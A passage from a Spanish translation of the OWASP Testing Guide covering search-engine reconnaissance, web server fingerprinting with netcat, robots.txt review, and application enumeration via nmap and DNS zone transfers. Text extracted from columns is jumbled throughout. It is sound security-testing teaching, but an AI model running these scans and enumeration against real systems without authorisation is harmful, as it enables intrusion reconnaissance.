puertas que se encuentran en esta fase representan un punto de prueba. Una hoja de índices y el contenido asociado al caché. Los métodos indirectos se refieren a
cálculo con el árbol de directorios de la aplicación y todos los puntos de acceso información sensible de la configuración y diseño mediante búsquedas en foros,
podría ser útil para la segunda fase. grupos de noticias y sitios de licitación web.
Una vez que un robot de motores de búsqueda ha terminado de arrastrarse,

comienza la indexación de la página web basada en etiquetas y atributos asociados,
• Fase 2 Modo Activo: tales como<TITLE>, con el fin de devolver los resultados de búsqueda relevantes
[1]. Si el archivo robots.txt no está actualizado durante la vida útil del sitio web y en
En esta fase el evaluador empieza a probar utilizando la metodología descrita en las línea HTML las meta etiquetas, que indican a los robots que no generen índices del
secciones siguientes.
38
contenido, no han sido utilizadas, entonces es posible que los índices incluyan • ixquick/Startpage
contenido web cuya inclusión no estaba prevista por parte de los propietarios. Los
propietarios de páginas web pueden utilizar el mencionado robots.txt, meta • Google
etiquetas HTML, autenticación y herramientas proporcionados por los motores de
búsqueda para eliminar dicho contenido. • Shodan
• PunkSpider
Objetivos de la prueba
Para entender qué información sensible del diseño y configuración de la Duck Duck Go y ixquick/Startpage proveen información limitada al respecto de
aplicación/sistema/organización está expuesta directamente (en la página web de fugas del evaluador.
la organización) o indirectamente (en un sitio web de terceros).
Google ofrece el operador de búsqueda "cache:" avanzado [2], pero esto es el

Cómo probar equivalente a hacer clic en el "caché", al lado de cada resultado de búsqueda de
Google. Por lo tanto, usar el operador de búsqueda de "sitios" avanzado y luego
Use un motor de búsqueda para buscar: hacer clic en "cached" es preferible.
• Diagramas de red y configuraciones El Google SOAP Search API soporta el doGetCachedPage y los mensajes SOAP
de doGetCachedPageResponse asociado [3] para ayudar a recuperar páginas en
• Mensajes archivados y mensajes de correo electrónico caché. Una implementación de esto está en desarrollo por OWASP en el proyecto
"Google Hacking".
de los administradores y demás personal clave

PunkSpider es un motor de búsqueda de vulnerabilidades de aplicaciones web. Es
de poca utilidad para un evaluador de penetración mientras realiza un trabajo
manual. Sin embargo, puede ser útil para demostrar la facilidad con la cual los
• Procedimientos de inicio de sesión y otros formatos de nombre de usuario script-kiddies (usuarios inexpertos) pueden encontrar vulnerabilidades.
• Nombres de usuario y contraseñas
• Contenido de mensajes de error Por ejemplo, para encontrar el contenido de la web de owasp.org indexado por un
motor de búsqueda típico, la sintaxis requerida es:
• Desarrollo, prueba, UAT escenificando las versiones de la página web
Operadores de búsqueda
Utilizando la búsqueda avanzada del operador de búsqueda de "sitios", es

posible restringir los resultados de la búsqueda a un dominio específico [2]. No
limite las pruebas a un proveedor de motor de búsqueda ya que se pueden
generar diferentes resultados, dependiendo de cuándo rastrean los contenidos y
de sus propios algoritmos. Considere usar los siguientes buscadores:
• Baidu
• binsearch.info
• Bing
• Duck Duck Go
39
• Información sensible de compras en línea
Herramientas
[4] FoundStone SiteDigger: mcafee.com
[5] Google Hacker: yehg.net

Para mostrar el index.html de owasp.org como está en cache, la sintaxis es:
[6] Stach & Liu’s Google Hacking Diggity Project: bishopfox.com
[7] PunkSPIDER: punkspider.hyperiongray.com
Referencias
Web
[1] “Google Basics: Learn how Google Discovers, Crawls, and Serves Web
Pages” - support.google.com
[2] “Operators and More Search Help”: support.google.com
Base de datos de Google Hacking
La base de datos de Google Hacking es una lista muy útil de consultas de búsqueda
[3] “Google Hacking Database”: exploit-db.com
de Google. Las consultas se ponen en varias categorías:
Remediación
• Puntos de apoyo o bases de apoyo
Considere cuidadosamente la sensibilidad de la información del diseño y
• Archivos que contienen nombres de usuario
configuración antes de publicarla en línea.
• Directorios sensibles
• Detección de servidores web

Periódicamente revise la sensibilidad de la información del diseño y configuración
existente que está publicada en línea.
• Archivos vulnerables
• Servidores vulnerables
• Mensajes de error Use huellas digitales en el servidor web (OTG-INFO-002)
• Archivos que contienen información atractiva Resumen
• Archivos que contienen contraseñas El utilizar huellas digitales en el servidor web es una tarea fundamental para

40
el evaluador de penetración. Conocer la versión y el tipo de un servidor web
en ejecución permite a los evaluadores determinar vulnerabilidades conocidas y

cómo explotarlas adecuadamente para usarlas durante la prueba.
Hay varios proveedores diferentes y versiones de servidores web en el mercado

hoy. Conocer el tipo de servidor web que está siendo probado ayuda
significativamente en el proceso de prueba, y también puede cambiar el curso de la
prueba.
Del campo del servidor, se puede entender que el servidor es muy probablemente
Apache, versión 1.3.3, y que corre sobre un sistema operativo Linux.
Esta información se puede derivar enviando al servidor web comandos específicos
y analizando la respuesta de salida, como cada versión de software del servidor
Cuatro ejemplos de los encabezados de respuesta HTTP se indican a continuación:
web puede responder de manera distinta a estos comandos. Sabiendo cómo
responde cada tipo de servidor web a comandos específicos y manteniendo esta
información en una base de datos de huellas digitales de servidores web, un
evaluador de penetración puede enviar estos comandos al servidor web, analizar la
De un servidor Apache 1.3.23:
respuesta y compararla con la base de datos de firmas conocidas.
Tenga en cuenta que generalmente necesita varios comandos diferentes para HTTP/1.1 200 OK
identificar con precisión el servidor web, cómo las diferentes versiones pueden
reaccionar de manera similar para el mismo comando. Raramente las diferentes Date: Sun, 15 Jun 2003 17:10: 49 GMT
versiones reaccionan de la misma manera a todos los comandos HTTP; por lo que
mediante el envío de varios comandos diferentes, el evaluador puede aumentar la Server: Apache/1.3.23
precisión de su conjetura.
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Objetivos de las pruebas
Accept-Ranges: bytes
Encontrar la versión y el tipo de servidor web en ejecución para determinar
Content-Length: 196
vulnerabilidades conocidas y la manera de explotarlas para usar durante la prueba.
Connection: close
Cómo probar
De un servidor Microsoft IIS 5.0:

Prueba de Caja Negra
La forma más simple y más básica de identificar un servidor web es buscar en el

campo del servidor, en el encabezado de respuesta HTTP. Utilizamos Netcat en
este experimento.
Considere la siguiente respuesta de solicitud HTTP:

41
HTTP/1.1 200 OK
En este caso, el campo de servidor de esa respuesta es ofuscado. El evaluador no
Server: Microsoft-IIS/5.0 puede saber qué tipo de servidor web se ejecuta basado en dicha información.
Expires: Yours, 17 Jun 2003 01:41: 33 GMT
Date: Mon, 16 Jun 2003 01:41: 33 GMT 403 HTTP/1.1 Forbidden
Content-Type: text/HTML Date: Mon, 16 Jun 2003 02:41: 27 GMT
Accept-Ranges: bytes Server: Unknown-Webserver/1.0
Last-Modified: Wed, 28 May 2003 15:32: 21 GMT Connection: close
Content-Type: text/HTML; charset=iso-8859-1

De un servidor Netscape Enterprise 4.1:
HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:19: 04 GMT
Content-type: text/HTML
Comportamiento de protocolo
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Técnicas de comportamiento más refinadas toman en cuenta diversas
Content-length: 57 características de los varios servidores web disponibles en el mercado. Abajo está
una lista de algunas metodologías que permiten a los evaluadores deducir el tipo de
Accept-ranges: bytes servidor web que está en uso.
Ordenamiento de campo de encabezado HTTP

De un servidor SunONE 6.1:
El primer método consiste en observar el ordenamiento de los encabezados en la
respuesta. Cada servidor web tiene un orden interior del encabezado.
HTTP/1.1 200 OK
Supongamos las siguientes respuestas, como ejemplo:
Server: Sun-ONE-Web-Server/6.1
Respuesta de Apache 1.3.23
Date: Tue, 16 Jan 2007 14:53:45 GMT
Content-length: 1186
Content-type: text/html
Date: Tue, 16 Jan 2007 14:50:31 GMT
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT
Sin embargo, esta metodología de prueba es limitada en cuanto a precisión. Existen

varias técnicas que permiten a un sitio web oscurecer o modificar la cadena de
encabezado del servidor. Por ejemplo, uno podría obtener la siguiente respuesta:

42
$ nc apache.example.com 80 $ nc netscape.example.com 80
HEAD / HTTP/1.0 HEAD / HTTP/1.0
HTTP/1.1 200 OK HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10: 49 GMT Server: Netscape-Enterprise/4.1
Server: Apache/1.3.23 Date: Mon, 16 Jun 2003 06:01: 40 GMT
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT Content-type: text/HTML
ETag: 32417-c4-3e5d8a83 Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Accept-Ranges: bytes Content-length: 57
Content-Length: 196 Accept-ranges: bytes
Connection: close
Respuesta de IIS 5.0 Respuesta de SunONE 6.1
$ nc iis.example.com 80 $ nc sunone.example.com 80
HEAD / HTTP/1.0 HEAD / HTTP/1.0
HTTP/1.1 200 OK HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0 Server: Sun-ONE-Web-Server/6.1
Content-Location: http://iis.example.com/Default.htm Date: Tue, 16 Jan 2007 15:23:37 GMT
Date: Fri, 01 Jan 1999 20:13: 52 GMT Content-length: 0
Content-Type: text/HTML Content-type: text/html
Accept-Ranges: bytes Date: Tue, 16 Jan 2007 15:20:26 GMT
Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT
Respuesta de Netscape Enterprise 4.1
Podemos notar que el orden de los campos de fecha y servidor difieren entre
Apache, Netscape Enterprise y IIS.
Pruebas de solicitudes con formato incorrecto
Otra prueba útil para ejecutar consiste en enviar solicitudes con formato incorrecto
o páginas inexistentes al servidor. Considere las siguientes respuestas HTTP.

43

$ nc sunone.example.com 80
$ nc apache.example.com 80 GET / HTTP/3.0
GET / HTTP/3.0 HTTP/1.1 400 Bad request
Server: Sun-ONE-Web-Server/6.1
HTTP/1.1 400 Bad Request
Date: Tue, 16 Jan 2007 15:25:00 GMT
Date: Sun, 15 Jun 2003 17:12: 37 GMT
Content-length: 0
Server: Apache/1.3.23
Content-type: text/html
Connection: close
Transfer: chunked
Podemos notar que cada servidor responde de forma diferente. La respuesta
también es diferente, dependiendo de la versión del servidor. Observaciones
Respuesta de IIS 5.0 similares se pueden hacer creando peticiones con un método HTTP
inexistente. Considere las siguientes respuestas:
$ nc iis.example.com 80
GET / HTTP/3.0
HTTP/1.1 200 OK
$ nc apache.example.com 80
Server: Microsoft-IIS/5.0
GET / JUNK/1.0
Content-Location: http://iis.example.com/Default.htm
HTTP/1.1 200 OK
Date: Fri, 01 Jan 1999 20:14: 02 GMT
Date: Sun, 15 Jun 2003 17:17: 47 GMT
Content-Type: text/HTML
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT
ETag: 32417-c4-3e5d8a83
Respuesta de Netscape Enterprise 4.
$ nc netscape.example.com 80 Content-Length: 196
GET / HTTP/3.0
HTTP/1.1 505 HTTP Version Not Supported Respuesta de IIS 5.0
Date: Mon, 16 Jun 2003 06:04: 04 GMT
Content-length: 140
Content-type: text/HTML
Respuesta de SunONE 6.1

44
• Desenmascarame - desenmascara.me
$ nc iis.example.com 80
GET / JUNK/1.0
HTTP/1.1 400 Bad Request
Date: Fri, 01 Jan 1999 20:14: 34 GMT
Content-Type: text/HTML
Content-Length: 87
Pruebas automatizadas
En lugar de confiar en la posibilidad de atrapar banners manualmente y

analizar los encabezados de servidores web, un evaluador puede utilizar
Respuesta de Netscape Enterprise 4.1 herramientas automatizadas para lograr los mismos resultados. Hay muchas
pruebas que se pueden llevar a cabo para dejar una huella digital precisa en un
$ nc netscape.example.com 80 servidor web. Por suerte, existen herramientas que permiten automatizar estas
pruebas. "httprint" es una de esas herramientas. httprint utiliza un diccionario
GET / JUNK/1.0 de firmas que le permite reconocer el tipo y la versión del servidor web que se
encuentra en uso.
<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
A continuación se muestra un ejemplo de httprint en funcionamiento:
<BODY><H1>Bad request</H1>
Your browser sent to query this server could not understand.
Respuesta de SunONE 6.1
$ nc sunone.example.com 80
GET / JUNK/1.0
<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>
Herramientas
• httprint - net-square.com Pruebas en línea
• httprecon - computec.ch Las herramientas en línea se pueden utilizar si el evaluador quiere probar más
sigilosamente y no desea conectarse directamente a la página web objetivo.
• Netcraft - netcraft.com Un ejemplo de una herramienta en línea que ofrece a menudo una gran
cantidad de información sobre servidores web objetivos es Netcraft. Con esta
45
herramienta podemos recuperar información acerca del sistema operativo, Proteja la capa de presentación del servidor web detrás de un proxy inverso
servidor web utilizado, tiempo de actividad del servidor, propietario Netblock, endurecido.
historial de cambios relacionados con el servidor web y el sistema operativo.
A continuación se muestra un ejemplo: Ofusque la capa de presentación de los encabezados del servidor web.
• Apache
• IIS
Revise los meta archivos del servidor web en

busca de fugas de información (OTG-INFO-
003)
Resumen
Esta sección describe cómo probar el archivo robots.txt en busca de fugas de

información de la(s) ruta(s) al directorio de la aplicación o de la carpeta de la
aplicación web. Además, también puede crearse la lista de directorios que deben
ser evitados por las arañas, robots o rastreadores como una dependencia de
rutas de ejecución del mapa a través de la aplicación (OTG-INFO-007)
Se espera que el proyecto OWASP Unmaskme se convierta en otra
herramienta en línea para dejar huellas digitales de cualquier sitio web con 1. Fuga de información de la ruta o rutas al directorio o carpeta de la aplicación
una interpretación global de todos los metadatos web extraídos. La idea detrás web.
de este proyecto es que cualquier persona a cargo de un sitio web pueda
probar los metadatos que el sitio muestra al mundo y evaluar desde un punto 2. Crear la lista de directorios que deben ser evitados por las arañas, robots o
de vista de seguridad. rastreadores.
Aunque este proyecto está aún en desarrollo, usted puede probar el concepto
de esta idea en español.
Cómo se prueba
robots.txt
Referencias
Libros Blancos Las arañas, robots o rastreadores web recuperan una página web y luego,
recursivamente, atraviesan hipervínculos para recuperar otros contenidos web. Su
• Saumil Shah: “An Introduction to HTTP fingerprinting” comportamiento aceptado está especificado por el protocolo de Exclusión de
Robots del archivo robots.txt en el directorio web principal [1]
www.net-square.com
Como ejemplo, el principio del archivo robots.txt de
http://www.google.com/robots.txt probado el 11 de agosto de 2013 se cita a
continuación:
• Anant Shrivastava: “Web Application Finger Printing”
anantshri.info
Remediación

46
El archivo robots.txt es recuperado del directorio principal (webroot) del servidor

User-agent: * web. Por ejemplo, para recuperar robots.txt de www.google.com usando “wget” o
“curl”:
Disallow: /search
Disallow: /sdch cmlh$ wget http://www.google.com/robots.txt
Disallow: /groups --2013-08-11 14:40:36-- http://www.google.com/robots.txt
Disallow: /images Resolving www.google.com... 74.125.237.17, 74.125.237.18,

74.125.237.19, ...
Disallow: /catalogs
Connecting to www.google.com|74.125.237.17|:80... connected.
HTTP request sent, awaiting response... 200 OK

La directiva de usuario-agente se refiere al web específico de
araña/robot/rastreador. Por ejemplo, el usuario-agente Googlebot se refiere al robot Length: unspecified [text/plain]
araña de Google mientras " Usuario-Agente: bingbot" [1] se refiere al rastreador de
Microsoft/Yahoo!. User-Agent: * En el ejemplo anterior se aplica a todas las Saving to: ‘robots.txt.’
arañas/robots/rastreadores web [2] como se cita a continuación:
User-agent: * [ <=> ] 7,074 --.-K/s in 0s
2013-08-11 14:40:37 (59.7 MB/s) - ‘robots.txt’ saved [7074]

La directiva Disallow especifica qué recursos están prohibidos por las
arañas/robots/rastreadores. En el ejemplo anterior, están prohibidos directorios
como los siguientes:
cmlh$ head -n5 robots.txt
... User-agent: *
Disallow: /search Disallow: /search
Disallow: /sdch Disallow: /sdch
Disallow: /groups
Disallow: /images
cmlh$ curl -O http://www.google.com/robots.txt
Disallow: /catalogs
% Total % Received % Xferd Average Speed Time Time
Time Current
Dload Upload Total Spent Left Speed

Las arañas, robots o rastreadores web pueden ignorar intencionalmente las
101 7074 0 7074 0 0 9410 0 --:--:-- --:--:-- --:--:-- 27312
directivas Disallow especificadas en un archivo robots.txt [3], tales como las de las
redes sociales [2] para asegurarse de que los vínculos compartidos sean todavía
cmlh$ head -n5 robots.txt
válidos. Por lo tanto, robots.txt no debe considerarse como un mecanismo para
imponer restricciones de cómo el contenido web se debe acceder, almacenar o User-agent: *
volver a publicar por terceros.
Disallow: /search
Disallow: /sdch
robots.txt in el directorio principal con “wget” o “curl”
Disallow: /groups
Disallow: /images

47
(https://www.google.com/webmasters/tools). Esta herramienta puede ayudar con

las pruebas y el procedimiento es el siguiente:
1. Inscríbase a Google Webmaster Tools con una cuenta de Google.
2. En el panel de control, escriba la URL del sitio a analizar.
3. Elija entre los métodos disponibles y siga las instrucciones en la pantalla.
robots.txt in el directorio principal con rockspider
"rockspider" [3] automatiza la creación de las posibilidades iniciales de

arañas/robots/rastreadores de archivos y directorios o carpetas de un sitio web. Etiquetas META
Las etiquetas <META> se encuentran en la sección HEAD de cada documento

HTML y deben ser coherentes a través del sitio web en el evento probable de que el
Por ejemplo, para crear las posibilidades iniciales en la directiva autorizada de punto de partida de la araña/robot/rastreador no comience desde un vínculo de
www.google.com usando “rockspider”[4]: documento fuera del directorio principal (webroot), es decir, un "enlace profundo"
[5].
cmlh$ ./rockspider.pl -www www.google.com

Si no hay una entrada “<META NAME=”ROBOTS” ... >” entonces el
“Rockspider” Alpha v0.1_2

“Protocolo de Exclusión de Robots” usa la condición base de “INDEX,FOLLOW”
respectivamente. Entonces las otras dos entradas válidas definidas por el “Protocolo
de Exclusión de Robots” se preestablecen con “NO...” , es decir, “NOINDEX” y
Copyright 2013 Christian Heinrich “NOFOLLOW”.
Licensed under the Apache License, Version 2.0
Las arañas/robots/rastreadores web pueden ignorar deliberadamente la etiqueta

“<META NAME=”ROBOTS”” ya que se prefiere el acuerdo del archivo
1. Downloading http://www.google.com/robots.txt
robots.txt. Por lo tanto, las <META> etiquetas no deben considerarse el
mecanismo primario, sino más bien un control complementario a robots.txt.
2. “robots.txt” saved as “www.google.com-robots.txt”
3. Sending Allow: URIs of www.google.com to web proxy i.e. <META>Etiquetas - con Burp
127.0.0.1:8080
/catalogs/about sent
Basado en las directivas, de no permitir (Disallow), listadas en el archivo robots.txt
/catalogs/p? sent en el directorio principal, la búsqueda normal de una expresión " <META
name="”ROBOTS””" dentro de cada página web inicia y el resultado se compara
/news/directory sent
al archivo robots.txt en el directorio principal.
...
Por ejemplo, el archivo robots.txt de facebook.com tiene una entrada de "Disallow:

/ac.php" [6] y la consiguiente búsqueda de " <META name="”ROBOTS””"
Analice robots.txt utilizando las herramientas de Google Webmaster indicada a continuación
Los propietarios de sitios web pueden utilizar la función "Analize robots.txt" de

Google para analizar el sitio web como parte de su "Google Webmaster Tools"

48
Un paso fundamental en las pruebas de vulnerabilidades en aplicaciones web es

averiguar qué aplicaciones particulares están alojadas en un
servidor web. Muchas aplicaciones tienen vulnerabilidades y estrategias de ataque

conocidas que pueden ser explotadas para obtener el control remoto para explotar
los datos. Además, muchas aplicaciones se encuentran a menudo mal configuradas
o no están actualizadas, debido a la percepción de que sólo se utilizan
"internamente" y, por lo tanto, no existe amenaza.
Con la proliferación de servidores web virtuales, la relación tipo 1:1-tradicional

entre una dirección IP y un servidor web está perdiendo gran parte de su
Lo anterior podría considerarse un error, puesto que el " INDEX,FOLLOW " es la significado original. No es raro tener varios sitios web o aplicaciones cuyos
etiqueta <META> predeterminada por el "Protocolo de Exclusión de Robots", sin nombres simbólicos resulten en la misma dirección IP. Este escenario no se limita a
embargo, "Disallow: /ac.php" aparece en robots.txt. entornos de alojamiento (hosting), sino que también se aplica a los entornos
corporativos.
Herramientas
Los profesionales en seguridad a veces reciben un conjunto de direcciones IP como
• Buscador (Funcion de Ver Origen) un objetivo de pruebas. Es discutible que este escenario sea parecido a una relación
de tipo prueba de penetración, pero, en cualquier caso, se espera que dicha sesión
• curl pondría a prueba todas las aplicaciones web accesibles a través de este objetivo. El
problema es que la dirección IP aloja un servicio HTTP en el puerto 80, pero si un
• wget evaluador debe acceder especificando la dirección IP (que es todo lo que sabe)
reportará "Ningún servidor web configurado en esta dirección" o un mensaje
• rockspider[7] similar. Pero el sistema puede "ocultar" una serie de aplicaciones web, asociadas a
nombres simbólicos, sin relación del (DNS). Obviamente, el alcance del análisis se
ve afectado profundamente si el evaluador prueba todas las aplicaciones o sólo las
aplicaciones de las que está consciente.
Referencias
Libros Blancos
A veces, la especificación de destino es más rica. El evaluador puede recibir una
lista de direcciones IP y sus correspondientes nombres simbólicos. Sin embargo,
esta lista podría transmitir información parcial, es decir, podría omitir algunos
[1] “The Web Robots Pages” - http://www.robotstxt.org/ nombres simbólicos y el cliente podría ni siquiera estar consciente de aquello (esto
es más probable que ocurra en las grandes organizaciones).
[2] “Block and Remove Pages Using a robots.txt File” -
https://support.google.com/webmasters/answer/156449
[3] “(ISC)2 Blog: The Attack of the Spiders from the Clouds” - Otros temas que afectan el alcance de la evaluación están representados por
http://blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html aplicaciones web publicadas en URLs no evidentes (por ejemplo,
http://www.example.com/some-strange-URL), a las que no se hace referencia en
[4] “Telstra customer database exposed” - http://www.smh.com.au/it-pro/security- otros lugares. Esto puede suceder por error (debido a configuraciones incorrectas) o
it/telstra-customer-database-exposed-20111209-1on60.html intencionalmente (por ejemplo, interfaces administrativas no publicitadas).
Para abordar estos temas, es necesario realizar un descubrimiento de aplicaciones

Enumere las aplicaciones en el servidor web web.
(OTG-INFO-004)
Resumen Objetivos de la prueba

49
Enumerar las aplicaciones que existen dentro del ámbito en un servidor web evaluador sepa explícitamente cómo llegar a ellas, es decir, el evaluador sabe las
url1 y url2 url3. Generalmente no hay necesidad de publicar aplicaciones web de
esta manera, a menos que el propietario no desee que se encuentren accesibles de
una manera estándar y esté dispuesto a informar a los usuarios sobre su ubicación
Cómo probar exacta. Esto no quiere decir que estas aplicaciones son secretas, sólo que su
existencia y localización no son anunciadas explícitamente.
Pruebas de Caja Negra
El descubrimiento de aplicaciones web es un proceso dirigido a identificar

aplicaciones web en una infraestructura determinada. Este último se suele 2. Puertos no-estándar
especificar como un conjunto de direcciones IP (tal vez un bloque de red), pero
puede consistir de un conjunto de nombres simbólicos DNS o una mezcla de los Aunque las aplicaciones web generalmente se ubican en el puerto 80 (http) y 443
dos. Esta información se entrega antes de la ejecución de una evaluación, ya sea (https), no hay nada mágico acerca de estos números de puertos. De hecho, las
una prueba de penetración de estilo clásico o una evaluación enfocada en las aplicaciones web pueden estar asociadas con puertos TCP arbitrarios y pueden ser
aplicaciones. En ambos casos, a menos que las reglas de contratación especifiquen referenciados especificando el número de puerto como a continuación:
lo contrario (por ejemplo, "prueba sólo la aplicación ubicada en el http[s]://www.example.com:port/. Por ejemplo, http://www.example.com:20000/
http://www.example.com/ enlace"), la evaluación debe esforzarse por tener el
mayor alcance posible, es decir, debe identificar todas las aplicaciones accesibles a
través del objetivo dado. En los ejemplos siguientes constan algunas técnicas que
pueden emplearse para lograr este objetivo. 3. Hospedajes (host) virtuales
Las DNS permiten una dirección IP única asociada a uno o más nombres
simbólicos. Por ejemplo, la dirección IP 192.168.1.100 podría asociarse a los
Nota: Algunas de las técnicas siguientes se aplican a servidores de nombres DNS www.example.com, helpdesk.example.com y
webmail.example.com. No es necesario que todos los nombres pertenezcan al
mismo dominio DNS. Esta relación de 1 a N puede usarse para servir a diferentes
contenidos con los denominados hospedajes (host) virtuales. La información que
conexión a internet, es decir, DNS y servicios de búsqueda en la web de IP inversa especifica al host virtual al cual nos estamos refiriendo está incrustada en el
y el uso de motores de búsqueda. Los ejemplos hacen uso de la direcciones IP encabezado HTTP 1.1 [1].
privadas (por ejemplo 192.168.1.100), que, a menos que se indique lo contrario,
representan direcciones IP genéricas y son utilizadas solamente con el propósito del
anonimato.
Uno no podría sospechar de la existencia de otras aplicaciones web adicionales a la
obvia www.example.com, a menos que sepan de helpdesk.example.com y
webmail.example.com.
Hay tres factores que influyen en cuantas aplicaciones están relacionadas con un
determinado nombre DNS (o una dirección IP):
Los enfoques para encarar la situación 1 - URLs no estándar
1. URL con bases diferentes No hay ninguna manera de comprobar totalmente la existencia de aplicaciones web
sin el nombre estándar. Al ser no estándar, no hay criterios establecidos o
El punto de entrada obvio de una aplicación web es www.example.com, es decir, convenidos para la nomenclatura, sin embargo, hay una serie de técnicas que puede
con esta nominación abreviada pensamos que la aplicación web se origina en utilizar el evaluador para obtener información adicional.
http://www.example.com/ (lo mismo se aplica para https). Sin embargo, a pesar de
que esta es la situación más común, no hay nada que obligue a la aplicación para
que empiece en "/".
En primer lugar, si el servidor web está mal configurado y permite navegar por el
directorio, es posible detectar estas aplicaciones. Los escáneres de vulnerabilidad
pueden ayudar en este sentido.
Por ejemplo, el mismo nombre simbólico puede ser asociado a tres aplicaciones
web tales como: http://www.example.com/url1 http://www.example.com/url2
http://www.example.com/url3
En segundo lugar, estas aplicaciones pueden estar referenciadas por otras páginas
En este caso, el enlace http://www.example.com/ no estaría asociado con una web y hay la posibilidad de que hayan sido procesadas por un robot araña e
página significativa, y las tres aplicaciones estarían "ocultas", a menos que el indexadas por los motores de búsqueda web. Si los evaluadores sospechan de la

50
existencia de este tipo de aplicaciones "ocultas" en www.example.com lo podrían De este ejemplo uno puede ver que:
buscar utilizando el operador del sitio web y examinar el resultado de una consulta
para "site: www.example.com". Entre los URLs devueltos podrían haber algunos
apuntando a una aplicación no tan obvia.
• Hay un servidor de http Apache corriendo en el puerto 80.
• Parece que hay un servidor https en el puerto 443 (pero esto debe ser confirmado,
Otra opción es sondear URL que podrían ser candidatos probables para por ejemplo, visitando https://192.168.1.100 con un navegador)
aplicaciones no publicadas. Por ejemplo, un correo web frontal puede ser accesible
desde la URL https://www.example.com/webmail, https://webmail.example.com/ o • En el puerto 901hay una interfaz de web de Samba SWAT.
https://mail.example.com/. Lo mismo se aplica para interfaces administrativas, que
pueden ser publicadas en URL ocultas (por ejemplo, una interfaz administrativa • El servicio en Puerto 1241 no es https, pero es el demonio Nessus enlazado al
Tomcat) y, sin embargo, no hacen referencia en ningún lugar. Así que haciendo un SSL.
poco de búsqueda de estilo diccionario (o "adivinanza inteligente") podría arrojar
algunos resultados. Los escáneres de vulnerabilidad pueden ayudar en este caso. • El puerto 3690 ofrece un servicio no especificado (nmap devuelve su huella
digital - aquí ha sido omitida por claridad - junto a las instrucciones para su
incorporación en la base de datos de huellas dactilares nmap, siempre y cuando
usted sepa qué servicio representa).
Enfoques para solucionar el tema 2 - puertos no estándar
• Otro servicio no identificado en el puerto 8000. Esto posiblemente podría ser un
Es fácil comprobar la existencia de aplicaciones web en puertos no estándar. Un http, ya que no es raro encontrar servidores de http en este puerto. Vamos a
escáner de puertos como nmap [2] es capaz de realizar el reconocimiento de examinar esta cuestión:
servicio mediante la opción - sV e identificará los servicios http [s] en puertos
arbitrarios. Lo que se requiere es un análisis completo de los 64k de espacio del
puerto TCP.
Puertos interesantes en 192.168.1.100:
(Los 65527 puertos escaneados, pero que no se muestran abajo, son los
Por ejemplo, el siguiente comando buscará, con un escaner de conección TCP,
que están en estado cerrado)
todos los puertos abiertos en la IP 192.168.1.100 y tratará de determinar qué
servicios están atados a ellos (sólo se muestran los modificadores esenciales –
PORT STATE SERVICE VERSION
nmap ofrece un amplio conjunto de opciones, cuya discusión está fuera de
alcance): 22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.40 ((Red Hat Linux))
nmap –PN –sT –sV –p0-65535 192.168.1.100 443/tcp open ssl OpenSSL
Esto confirma que en realidad es un servidor HTTP. Alternativamente, los

evaluadores podrían haber visitado la URL con un navegador web, o utilizar los
Es suficiente examinar la salida y buscar el http o la indicación de servicios comandos Perl GET o HEAD que imitan interacciones HTTP como las
enlazados al SSL (que debe ser investigado para confirmar que son https). Por mencionadas anteriormente (sin embargo, las solicitudes HEAD pueden no ser
ejemplo, la salida del comando anterior podría verse así: respetadas por todos los servidores).
Apache Tomcat corriendo en un puerto 8080

901/tcp open http Samba SWAT administration server
1241/tcp open ssl Nessus security scanner

La misma tarea puede realizarse por escáneres de vulnerabilidad, pero primero
3690/tcp open unknown compruebe que el escáner escogido es capaz de identificar los servicios http[s] que
corren en puertos no estándar. Por ejemplo, Nessus [3] es capaz de identificarlos en
8000/tcp open http-alt? puertos arbitrarios (siempre y cuando sea instruido para escanear todos los puertos)
y proporcionará, en relación con nmap, una serie de pruebas de vulnerabilidades
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 conocidas de servidores web, así como en la configuración SSL de servicios https.
Como se indicó anteriormente, Nessus también es capaz de identificar aplicaciones
51
populares o interfaces web que, de lo contrario, podrían pasar desapercibidas (por www.example.com y el no tan obvio helpdesk.example.com y
ejemplo, una interfaz de administración de Tomcat). webmail.example.com (y probablemente otros). Revise todos los nombres
devueltos por la transferencia de zona y considere a todos aquellos que se
relacionan con el objetivo a ser evaluado.
Enfoques para solucionar el tema 3 - hosts virtuales
Hay una serie de técnicas que pueden utilizarse para identificar nombres DNS Tratando de solicitar una transferencia de zona para owasp.org desde uno de los
asociados a una dirección IP determinada x.y.z.t. nombres de servidor:
$ host -l www.owasp.org ns1.secure.net
Using domain server:

Transferencias de Zonas DNS
Name: ns1.secure.net
Esta técnica tiene un uso limitado en la actualidad, dado el hecho de que las
transferencias de zonas, en su mayoría, no son respetadas por servidores DNS. Sin Address: 192.220.124.10#53
embargo, puede valer la pena intentarlo. En primer lugar, los evaluadores deberán
Aliases:
determinar los servidores de nombres que sirven x.y.z.t. Si se conoce un nombre
simbólico para x.y.z.t (sea www.example.com), los nombres de los servidores
pueden ser determinados por medio de herramientas como nslookup, host, o dig,
solicitando registros DNS NS.
Host www.owasp.org not found: 5(REFUSED)
Si no conoce ningún nombre simbólico para x.y.z.t, pero la definición de destino

contiene al menos un nombre simbólico, los evaluadores pueden probar aplicando
el mismo proceso y consultar el nombre del servidor de ese nombre (con la Consultas Inversas de DNS
esperanza de que x.y.z.t sea servido también por el servidor del mismo nombre).
Por ejemplo, si el objetivo consiste en la dirección IP x.y.z.t y el nombre Este proceso es similar al anterior, pero se basa en registros DNS (PTR) inversos.
mail.example.com, determine los nombres de los servidores para el dominio En lugar de solicitar una transferencia de zona, intente establecer el tipo de registro
